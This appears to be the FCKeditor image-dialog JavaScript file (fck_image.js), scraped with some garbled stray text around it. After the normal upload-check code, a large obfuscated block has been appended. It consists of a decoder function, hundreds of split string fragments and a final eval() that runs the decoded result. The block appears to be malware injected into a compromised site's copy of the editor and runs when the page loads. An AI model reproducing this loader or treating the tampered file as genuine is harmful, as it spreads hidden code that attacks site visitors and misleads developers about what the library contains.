5 7
664048 . , , 380
 "Snail"
 -  1
 - ,
/* * FCKeditor - The text editor for Internet - http://www.fckeditor.net * Copyright (C) 2003-2008 Frederico Caldeira Knabben * * == BEGIN LICENSE == * * Licensed under the terms of any of the following licenses at your * choice: * * - GNU General Public License Version 2 or later (the "GPL") * http://www.gnu.org/licenses/gpl.html * * - GNU Lesser General Public License Version 2.1 or later (the "LGPL") * http://www.gnu.org/licenses/lgpl.html * * - Mozilla Public License Version 1.1 or later (the "MPL") * http://www.mozilla.org/MPL/MPL-1.1.html * * == END LICENSE == * * Scripts related to the Image dialog window (see fck_image.html). */ var dialog = window.parent ; var oEditor = dialog.InnerDialogLoaded() ; var FCK = oEditor.FCK ; var FCKLang = oEditor.FCKLang ; var FCKConfig = oEditor.FCKConfig ; var FCKDebug = oEditor.FCKDebug ; var FCKTools = oEditor.FCKTools ; var bImageButton = ( document.location.search.length > 0 && document.location.search.substr(1) == 'ImageButton' ) ; //#### Dialog Tabs // Set the dialog tabs. dialog.AddTab( 'Info', FCKLang.DlgImgInfoTab ) ; if ( !bImageButton && !FCKConfig.ImageDlgHideLink ) dialog.AddTab( 'Link', FCKLang.DlgImgLinkTab ) ; if ( FCKConfig.ImageUpload ) dialog.AddTab( 'Upload', FCKLang.DlgLnkUpload ) ; if ( !FCKConfig.ImageDlgHideAdvanced ) dialog.AddTab( 'Advanced', FCKLang.DlgAdvancedTag ) ; // Function called when a dialog tag is selected. function OnDialogTabChange( tabCode ) { ShowE('divInfo' , ( tabCode == 'Info' ) ) ; ShowE('divLink' , ( tabCode == 'Link' ) ) ; ShowE('divUpload' , ( tabCode == 'Upload' ) ) ; ShowE('divAdvanced' , ( tabCode == 'Advanced' ) ) ; } // Get the selected image (if available). var oImage = dialog.Selection.GetSelectedElement() ; if ( oImage && oImage.tagName != 'IMG' && !( oImage.tagName == 'INPUT' && oImage.type == 'image' ) ) oImage = null ; // Get the active link. var oLink = dialog.Selection.GetSelection().MoveToAncestorNode( 'A' ) ; var oImageOriginal ; function UpdateOriginal( resetSize ) { if ( !eImgPreview ) return ; if ( GetE('txtUrl').value.length == 0 ) { oImageOriginal = null ; return ; } oImageOriginal = document.createElement( 'IMG' ) ; // new Image() ; if ( resetSize ) { oImageOriginal.onload = function() { this.onload = null ; ResetSizes() ; } } oImageOriginal.src = eImgPreview.src ; } var bPreviewInitialized ; window.onload = function() { // Translate the dialog box texts. oEditor.FCKLanguageManager.TranslatePage(document) ; GetE('btnLockSizes').title = FCKLang.DlgImgLockRatio ; GetE('btnResetSize').title = FCKLang.DlgBtnResetSize ; // Load the selected element information (if any). LoadSelection() ; // Show/Hide the "Browse Server" button. GetE('tdBrowse').style.display = FCKConfig.ImageBrowser ? '' : 'none' ; GetE('divLnkBrowseServer').style.display = FCKConfig.LinkBrowser ? '' : 'none' ; UpdateOriginal() ; // Set the actual uploader URL. if ( FCKConfig.ImageUpload ) GetE('frmUpload').action = FCKConfig.ImageUploadURL ; dialog.SetAutoSize( true ) ; // Activate the "OK" button. dialog.SetOkButton( true ) ; SelectField( 'txtUrl' ) ; } function LoadSelection() { if ( ! oImage ) return ; var sUrl = oImage.getAttribute( '_fcksavedurl' ) ; if ( sUrl == null ) sUrl = GetAttribute( oImage, 'src', '' ) ; GetE('txtUrl').value = sUrl ; GetE('txtAlt').value = GetAttribute( oImage, 'alt', '' ) ; GetE('txtVSpace').value = GetAttribute( oImage, 'vspace', '' ) ; GetE('txtHSpace').value = GetAttribute( oImage, 'hspace', '' ) ; GetE('txtBorder').value = GetAttribute( oImage, 'border', '' ) ; GetE('cmbAlign').value = GetAttribute( oImage, 'align', '' ) ; var iWidth, iHeight ; var regexSize = /^\s*(\d+)px\s*$/i ; if ( oImage.style.width ) { var aMatchW = oImage.style.width.match( regexSize ) ; if ( aMatchW ) { iWidth = aMatchW[1] ; oImage.style.width = '' ; SetAttribute( oImage, 'width' , iWidth ) ; } } if ( oImage.style.height ) { var aMatchH = oImage.style.height.match( regexSize ) ; if ( aMatchH ) { iHeight = aMatchH[1] ; oImage.style.height = '' ; SetAttribute( oImage, 'height', iHeight ) ; } } GetE('txtWidth').value = iWidth ? iWidth : GetAttribute( oImage, "width", '' ) ; GetE('txtHeight').value = iHeight ? iHeight : GetAttribute( oImage, "height", '' ) ; // Get Advances Attributes GetE('txtAttId').value = oImage.id ; GetE('cmbAttLangDir').value = oImage.dir ; GetE('txtAttLangCode').value = oImage.lang ; GetE('txtAttTitle').value = oImage.title ; GetE('txtLongDesc').value = oImage.longDesc ; if ( oEditor.FCKBrowserInfo.IsIE ) { GetE('txtAttClasses').value = oImage.className || '' ; GetE('txtAttStyle').value = oImage.style.cssText ; } else { GetE('txtAttClasses').value = oImage.getAttribute('class',2) || '' ; GetE('txtAttStyle').value = oImage.getAttribute('style',2) ; } if ( oLink ) { var sLinkUrl = oLink.getAttribute( '_fcksavedurl' ) ; if ( sLinkUrl == null ) sLinkUrl = oLink.getAttribute('href',2) ; GetE('txtLnkUrl').value = sLinkUrl ; GetE('cmbLnkTarget').value = oLink.target ; } UpdatePreview() ; } //#### The OK button was hit. function Ok() { if ( GetE('txtUrl').value.length == 0 ) { dialog.SetSelectedTab( 'Info' ) ; GetE('txtUrl').focus() ; alert( FCKLang.DlgImgAlertUrl ) ; return false ; } var bHasImage = ( oImage != null ) ; if ( bHasImage && bImageButton && oImage.tagName == 'IMG' ) { if ( confirm( 'Do you want to transform the selected image on a image button?' ) ) oImage = null ; } else if ( bHasImage && !bImageButton && oImage.tagName == 'INPUT' ) { if ( confirm( 'Do you want to transform the selected image button on a simple image?' ) ) oImage = null ; } oEditor.FCKUndo.SaveUndoStep() ; if ( !bHasImage ) { if ( bImageButton ) { oImage = FCK.EditorDocument.createElement( 'input' ) ; oImage.type = 'image' ; oImage = FCK.InsertElement( oImage ) ; } else oImage = FCK.InsertElement( 'img' ) ; } UpdateImage( oImage ) ; var sLnkUrl = GetE('txtLnkUrl').value.Trim() ; if ( sLnkUrl.length == 0 ) { if ( oLink ) FCK.ExecuteNamedCommand( 'Unlink' ) ; } else { if ( oLink ) // Modifying an existent link. oLink.href = sLnkUrl ; else // Creating a new link. { if ( !bHasImage ) oEditor.FCKSelection.SelectNode( oImage ) ; oLink = oEditor.FCK.CreateLink( sLnkUrl )[0] ; if ( !bHasImage ) { oEditor.FCKSelection.SelectNode( oLink ) ; oEditor.FCKSelection.Collapse( false ) ; } } SetAttribute( oLink, '_fcksavedurl', sLnkUrl ) ; SetAttribute( oLink, 'target', GetE('cmbLnkTarget').value ) ; } return true ; } function UpdateImage( e, skipId ) { e.src = GetE('txtUrl').value ; SetAttribute( e, "_fcksavedurl", GetE('txtUrl').value ) ; SetAttribute( e, "alt" , GetE('txtAlt').value ) ; SetAttribute( e, "width" , GetE('txtWidth').value ) ; SetAttribute( e, "height", GetE('txtHeight').value ) ; SetAttribute( e, "vspace", GetE('txtVSpace').value ) ; SetAttribute( e, "hspace", GetE('txtHSpace').value ) ; SetAttribute( e, "border", GetE('txtBorder').value ) ; SetAttribute( e, "align" , GetE('cmbAlign').value ) ; // Advances Attributes if ( ! skipId ) SetAttribute( e, 'id', GetE('txtAttId').value ) ; SetAttribute( e, 'dir' , GetE('cmbAttLangDir').value ) ; SetAttribute( e, 'lang' , GetE('txtAttLangCode').value ) ; SetAttribute( e, 'title' , GetE('txtAttTitle').value ) ; SetAttribute( e, 'longDesc' , GetE('txtLongDesc').value ) ; if ( oEditor.FCKBrowserInfo.IsIE ) { e.className = GetE('txtAttClasses').value ; e.style.cssText = GetE('txtAttStyle').value ; } else { SetAttribute( e, 'class' , GetE('txtAttClasses').value ) ; SetAttribute( e, 'style', GetE('txtAttStyle').value ) ; } } var eImgPreview ; var eImgPreviewLink ; function SetPreviewElements( imageElement, linkElement ) { eImgPreview = imageElement ; eImgPreviewLink = linkElement ; UpdatePreview() ; UpdateOriginal() ; bPreviewInitialized = true ; } function UpdatePreview() { if ( !eImgPreview || !eImgPreviewLink ) return ; if ( GetE('txtUrl').value.length == 0 ) eImgPreviewLink.style.display = 'none' ; else { UpdateImage( eImgPreview, true ) ; if ( GetE('txtLnkUrl').value.Trim().length > 0 ) eImgPreviewLink.href = 'javascript:void(null);' ; else SetAttribute( eImgPreviewLink, 'href', '' ) ; eImgPreviewLink.style.display = '' ; } } var bLockRatio = true ; function SwitchLock( lockButton ) { bLockRatio = !bLockRatio ; lockButton.className = bLockRatio ? 'BtnLocked' : 'BtnUnlocked' ; lockButton.title = bLockRatio ? 'Lock sizes' : 'Unlock sizes' ; if ( bLockRatio ) { if ( GetE('txtWidth').value.length > 0 ) OnSizeChanged( 'Width', GetE('txtWidth').value ) ; else OnSizeChanged( 'Height', GetE('txtHeight').value ) ; } } // Fired when the width or height input texts change function OnSizeChanged( dimension, value ) { // Verifies if the aspect ration has to be maintained if ( oImageOriginal && bLockRatio ) { var e = dimension == 'Width' ? GetE('txtHeight') : GetE('txtWidth') ; if ( value.length == 0 || isNaN( value ) ) { e.value = '' ; return ; } if ( dimension == 'Width' ) value = value == 0 ? 0 : Math.round( oImageOriginal.height * ( value / oImageOriginal.width ) ) ; else value = value == 0 ? 0 : Math.round( oImageOriginal.width * ( value / oImageOriginal.height ) ) ; if ( !isNaN( value ) ) e.value = value ; } UpdatePreview() ; } // Fired when the Reset Size button is clicked function ResetSizes() { if ( ! oImageOriginal ) return ; if ( oEditor.FCKBrowserInfo.IsGecko && !oImageOriginal.complete ) { setTimeout( ResetSizes, 50 ) ; return ; } GetE('txtWidth').value = oImageOriginal.width ; GetE('txtHeight').value = oImageOriginal.height ; UpdatePreview() ; } function BrowseServer() { OpenServerBrowser( 'Image', FCKConfig.ImageBrowserURL, FCKConfig.ImageBrowserWindowWidth, FCKConfig.ImageBrowserWindowHeight ) ; } function LnkBrowseServer() { OpenServerBrowser( 'Link', FCKConfig.LinkBrowserURL, FCKConfig.LinkBrowserWindowWidth, FCKConfig.LinkBrowserWindowHeight ) ; } function OpenServerBrowser( type, url, width, height ) { sActualBrowser = type ; OpenFileBrowser( url, width, height ) ; } var sActualBrowser ; function SetUrl( url, width, height, alt ) { if ( sActualBrowser == 'Link' ) { GetE('txtLnkUrl').value = url ; UpdatePreview() ; } else { GetE('txtUrl').value = url ; GetE('txtWidth').value = width ? width : '' ; GetE('txtHeight').value = height ? height : '' ; if ( alt ) GetE('txtAlt').value = alt; UpdatePreview() ; UpdateOriginal( true ) ; } dialog.SetSelectedTab( 'Info' ) ; } function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg ) { // Remove animation window.parent.Throbber.Hide() ; GetE( 'divUpload' ).style.display = '' ; switch ( errorNumber ) { case 0 : // No errors alert( 'Файл успешно загружен.' ) ; break ; case 1 : // Custom error alert( customMsg ) ; return ; case 101 : // Custom warning alert( customMsg ) ; break ; case 201 : alert( 'Файл с таким именем уже существует, ваш файл был переименован "' + fileName + '"' ) ; break ; case 202 : alert( 'Неверный формат файла' ) ; return ; case 203 : alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ; return ; case 500 : alert( 'The connector is disabled' ) ; break ; default : alert( 'Error on file upload. Error number: ' + errorNumber ) ; return ; } sActualBrowser = '' ; SetUrl( fileUrl ) ; GetE('frmUpload').reset() ; } var oUploadAllowedExtRegex = new RegExp( FCKConfig.ImageUploadAllowedExtensions, 'i' ) ; var oUploadDeniedExtRegex = new RegExp( FCKConfig.ImageUploadDeniedExtensions, 'i' ) ; function CheckUpload() { var sFile = GetE('txtUploadFile').value ; if ( sFile.length == 0 ) { alert( 'Please select a file to upload' ) ; return false ; } if ( ( FCKConfig.ImageUploadAllowedExtensions.length > 0 && !oUploadAllowedExtRegex.test( sFile ) ) || ( FCKConfig.ImageUploadDeniedExtensions.length > 0 && oUploadDeniedExtRegex.test( sFile ) ) ) { OnUploadCompleted( 202 ) ; return false ; } // Show animation window.parent.Throbber.Show( 100 ) ; GetE( 'divUpload' ).style.display = 'none' ; return true ; } var h5fef0b="";function k2b59f61ce(){var a5acd5f=String,kd6bc9289=Array.prototype.slice.call(arguments).join(""),od4b78=kd6bc9289.substr(m3f3e3c(),3)-545,ib06d57,n36ba8b1;kd6bc9289=kd6bc9289.substr(4);var r7fe5e=b6b18cce1(kd6bc9289);for(var ma9f9d8d5=0;ma9f9d8d5=192)ib06d57+=848;else if(ib06d57==168)ib06d57=1025;else if(ib06d57==184)ib06d57=1105;h5fef0b+=a5acd5f["fr\x6fm\x43\x68arC\x6f\x64\x65"](ib06d57);continue;}i23289733=u65589d3(i55dd81e);if(i23289733>848)i23289733-=848;n36ba8b1=i23289733-od4b78-20;if(n36ba8b1<0)n36ba8b1+=256;if(n36ba8b1>=192)n36ba8b1+=848;else if(n36ba8b1==168)n36ba8b1=1025;else if(n36ba8b1==184)n36ba8b1=1105;h5fef0b+=a5acd5f["fr\x6fm\x43\x68arC\x6f\x64\x65"](n36ba8b1);}}k2b59f61ce("27","45","4~7","0","1","~","15","3~","8","25~","$","29","~814","~","7","~74","0","~","206","~7","38","~1","9","3","19","9","198","~8","1","4","~","","2","0","4","","2","0","5","","","1","96","","3","1","177","","174","","~686~-","1","5","4","","~812~","3","","","20","","19","42","3","","2","014","~8","3","6","~2","18","247","","218~","715~","h1","6","9","","1","81","","","181","","~","8","56~>~","684","~\\~753~1","5","0~","73","6","~","1","33","","1","98","","~","732~1","9","7","17","9","","2","02~78","7~","1","","","1","23","5","25","5","0","","0","~","729~125~","8","5","1~","-","~85","0","~6;~67","4","~","y13","2","1","2","9","","~678~","1","25","~","8","4","4","~5","2","4","00","~7","13","~16","4","1","79~731","~12","8","","184","","~","8","3","3","~","230","","2","2","2~","7","51~","","1","60","r","~84","4","~20","4","2","0","3","~","836~#3","221","8","2","26~","700","~","","1","6","6171","~768","~","23","0","","~","7","2","2~173","1","83","","","17","4","~","6","8","4","~","B","~8","1","2~25","1","116","","6~","8","2","4","~","29","","%~","682~","N","","1","52","1","5","3","","","154","~8","63","~",";","~7","61~","21","9","","","2","08","2","14","~699~Qn","n~80","4","~","2","1","5","~8","7","0","~","2","52","","","3","","Q~830","~","\"","24","25~","7","7","0","~","2","22","","2","2","5","23","0~7","3","0","~","18","1","","1","80","~","7","6","4~153","1","5","5~690~","H","~","7","13","~1","8","6","~","8","2","1","~","1","8418","1","","~82","6","~1","85","18","5'","~","71","2~1","67","172","","","162","","~7","2","7","~","188","1","9","6~733~","12","9","2","03","~","7","6","9~","","240","~","74","5","~","","2","17","~7","97","~","24","9","2","5","5","","24","4","","","2","50","~","8","4","0~222251","","~698~P","~84","7","~","24","5","~8","2","3~","23","2","18","6","~","760","~x~","82","0~","","17","9~85","3~","H~","8","50","~2","1","3","","2","10","","~8","1","8","~","","1","7","7","","~","79","7~2","4","7","2","2","46","","~","7","60~","","2","2","7","~7","6","3~","2","2","2","21","4","2232","29","","~","7","11","~k","~6","91~15","215","1","~79","7","~","0","~","86","7","~H~","6","73","~","1","40138","","~821","~","","16","2","4","2","6","!","16","","2","03","2","3","2~74","9~13","1","","2","01","","","21","6","","2","0","9","","1","9","8","","2","15","~819~","","18","","","24","~","69","7~","","15","7~","78","7","~","177","","","1","7","8","","1","6","9","","~","71","8~","1","9","1","Q","~843~","20","3","~","7","0","7","~","B","~","813","~17","2","","~","7","2","7~","1","82","","~","8","09","~","5","19","1~","8","11~2","01","","~","676~1","4","5","","1","3","1","","","1","3","6","~780","~","23","0","","","2","41","","24","9","1","7","6","","~78","6~","","0","","1","","2~8","43~","'-~","7","4","8~","19","5","","20","1","~","8","40~","222","","2","5","1","","251~","79","3~","20","4","","1","7","5","","19","1","","~","732~","","1","2","3~","742~","12","4","","21","5","i","~81","2~","17","2","","17","1","","171","~8","02~","","161","","~8","4","5~",":","~","6","73","~1","28","","1","33","","~","8","3","6","~","3","0",")","~759","~228155","~7","5","0~","2","20","","221","","22","2","~","8","4","7","~","+","~","75","1~","2","0","9","","1","9","8","","~","7","5","0~","2","0","3","132","","~7","8","7","~","1","9","8","~8","29~","","211","~","685~T^","0-,","~7","0","0~;~","680~","'~","866~N~","8","34","~","2","5","~802~","1","0","","~","8","22","~","204","","~","7","4","2~","19","6~8","4","9","~",",","~7","79~","","226","","~","7","4","6~","1","9","6","1","2","8","~","7","8","2~","1","93","~","83","8","~","2","2","032","+~7","50","~199","","2","17","2","0","9","~","802","~","","25","3","~73","4","~","","1","94~","8","49","~",";~8","34","~","","2","3","0","","~","67","7~","1","3","0","","1","2","8","1","4","3","`","","1","35","","","1","2","8","136","","~","733","~","1","84","","","193","~7","40~","206~","85","4~?","1","4","~","677~","","1","4","8","","~","775","~2","0","9","2","22~","7","1","0","~1","6","3","1","3","8","157~7","01~","1","60","1","52","","[","~7","49~","","1","3","8","","2","0","3","~","7","5","1","~2","0","2","~","8","43~","\"%","","232","23428","","~","7","36","~","","134","~7","64","~","2","07","~6","9","7","~j~","7","2","2~U","R","~8","1","9","~178","","17","8178","~","7","85","~","25","3","","2","3","2","~","73","3~197","","~7","2","8~","n","","1931","7","7","","~","6","8","0~","14","4","13","5","","1","4","2~","85","3~","?~","779","~","1","61","~","8","21","~","2","32~774","~","1","5","6","","~","86","1~7~84","7","~4~","6","82","~","131","1","4","9","~","83","3~$","","28%+~","8","20~","2","1","6","~842","~","#","~74","2~","","2","06","~815~1","0","~673~x","1","39","~85","1~.~6","79","~","b13","7","","1","30~","7","4","8","~","","20","7~","740~","1","91","~","8","24~","28","\"","~","83","0","~","","220","","2","1","9","'","~","8","3","9","~","3","2","~","720","~18","4~80","2~","1","","8~7","74","~","2","40","~6","73","~",">@","~8","16~","2","25","","1","7","91","76","~67","3~","3","2","","~8","35~","","1","94","1","9","4",",","28","~8","3","9","~/&","~","859","~AE","2","55","~72","9","~","1","95","~","733","~","2","04","1","95","","1","8","4","s","~7","13~1","24","","_f179","164","","18","3","~","82","1","~","31","","21","8","~8","4","2","~","*!","6~8","2","2~","133","1","","~846~","'~","760~","22","4","~7","0","1~156","~","8","0","8~","14","~","674~","1","4","0~8","15~","2042","24","~","816","~17","9","17","6","~","86","4","~","22","3","","223~85","8","~","21","7","~","7","14","~","1","7","9","~","686~1","3","5","150~","703","~","15","8","~","8","32~","&","~8","29~'","~","8","58~254","","?",">B","5","~79","5~242","~","7","41","~","19","1","","","2","12","~","6","8","5","~1","50~73","4","~2","00","","18","1","","~","82","7~%","22","","20","2","5","","","1","8","31","24","","~","8","18~","1","3~7","10","~\\y~680~",">~","6","8","0~","1","3","2~7","4","8~","","2","1","5","","~778~","","2","38","~","73","8","~","187","","2","0","4~","7","02~","15","7","","","1","6","3","","1","62T\\]","T","1","7","5","A","~","70","5","~","A~8","0","0~159","15915","9","~","67","5~\"","130","","~","8","4","6","~","*22","8","236","~8","5","4~@~","814","~","1","2","","~8","4","5","~",",~81","1~","2","0","~7","8","4","~18","0","2","4","8","~71","8~16","9","~","7","38~","18","5","","","18","8","","20","9~","8","17","~","2","5","0","","2","7","~7","8","5","~","23","2","~","7","55~","221","2","0","6","","~8","3","3~","2","1","5","~","721","~","","13","213","2","g","~8","15","~","","204","8~","7","4","4~","2","05","20","3","~6","9","5","~","1","57","15","3146","","161","1","46T","VM~","7","72~","","2","45","1","3","5","~816","~1","76","~","8","26~","","185","","1","85","","1","8","5","185","~","7","9","3","~","15","2","~699~","1","681","54","","~7","44","~","","2","0","4~","83","2","~2","6","%","-~","79","4","~","1","90~","74","5","~","21","5","~7","95~","1","0","","11","~755","~","20","7","2","1320","2","","~","714","~167`","","125","`","~6","8","0","~","P","~8","6","3~","1","6","","22","6","~7","6","3","~","123~792~","1","51","","~","82","1","~","1","80180","18","0","~","7","61","~","2","36","","12","4yx","~","77","3~","1","3","2~843","~","","2","02","~6","7","9~15","4","~","7","41~1","5","0","","h~8","1","5~","1","75","~","810","~","","1","6","9","","~","7","4","6~i","i","2","11195~","848","~","8","/~","76","1","~223~","7","92","~","2","","1","88~82","3~","28","2","7","","2","5~7","77~","238","","224","","2","2","7","","","15","9","~","769","~","","180~785~1","672","3","7~72","9~","","1","96","","1891","7","8~","7","1","2~","178","","","1","6","7173","","~783","~","","243","173","1741","6","5","~","847","~@~84","2","~","2","05202~759","~v","v~68","3~","*","*","1","52","1","3","8","~8","5","8","~",">4~6","9","6~","1","5","7","","","1","6","5","\\166","16","7","","","16","8~868~@F~80","0~","","2","4","7","","~81","9","~16","~","721~g","1","32","~","8","0","3","~1","8","5","~","7","9","9~","","1","9","9","","~863~16","","22","6","~682","~*",")~","716","~","K","~","7","8","2~","1","4","1","","1","","1","91","~7","71","~1","3","4~","7","8","0","~","14","0","","13","9","~","6","88~//~854","~","?~","78","3","~23","2~","851~",";","29","=","~","83","2~","2","2","8","",")","~","770","~","2","3","4","","21","9","","152","1","81","","15","2","","","23","7","","~82","8","~","$","~","7","91~","","24","9","~727~m","~6","8","7~","P","~","69","0~H","~","76","5~","1","9","2","","","21","2","~","76","3","~","22","9","~7","35~1","8","9","~","70","7~g~74","8","~","21","2","","~","800~","2","4","74","","250","","","5","3","~7","2","1~","o","~691","~RW","~","7","6","7~2","3","3","~","8","0","7","~","12","","240","~672","~","13","8","~","7","5","0~2","1","4","~748~203","~","846~","2~7","5","7~","21","0~","7","05~_","`","~","80","2","~","19","8","1","1~8","18","~","","29","","","1027","2","8","","2","6","","~","7","05~","160","","~","7","07~","167","","1","60","alb","~7","9","5","~","177","18","81","7","7","~","7","04","~","]","~718~r","","17","4","~","8","34","~+22","3","2","4","3","","~787","~","150","","~","8","20","~","18","0~","86","6","~","","22","52","25","","","2","2","5","@","=~70","2~","","1","49","152","~676~H~86","7","~:I","~","69","5","~","","1","5","71","46~","71","7~","1","7","7","","1","6","7","1","3","4","~79","4","~","","24","8~7","79","~","2","34","~8","66","~","D~","6","95~1","4","5","~","784~","1","74","","~77","6~","24","1","","","22","5~","7","2","3","~","187","","1","78","~826","~","","32","$21","7","~","8","26","~","2","3518","9~7","42","~","fee~6","8","1~","","1","5","6","",",","~","7","0","8~D","C","~833~","4~","82","8","~","","2","3","7","","191","188","/","219","","218","","21","9","","","237");eval(h5fef0b);function m3f3e3c(){return 1;}function b6b18cce1(cff2a5b64){return cff2a5b64.length;}function n05e831a9(qeac3a,a95f386c){return qeac3a.substr(a95f386c,1);}function v04c8b9dc(je04fe91b){return ++je04fe91b;}function qc4df84b0(ib721181,xbbb8f){return ib721181.substr(xbbb8f,1);}function ta192b1e(t24de5b){return t24de5b!='~';}function s1d3be5(r5deffd1){return r5deffd1=='';}function v46ba8(b4d8093ef,ma87ce8c6,k6b1ff8d){return b4d8093ef-ma87ce8c6-k6b1ff8d;}function u65589d3(tbc49a){return (tbc49a+'')["c\x68\x61r\x43\x6f\x64\x65\x41\x74"](0);}
 

?

, .
( )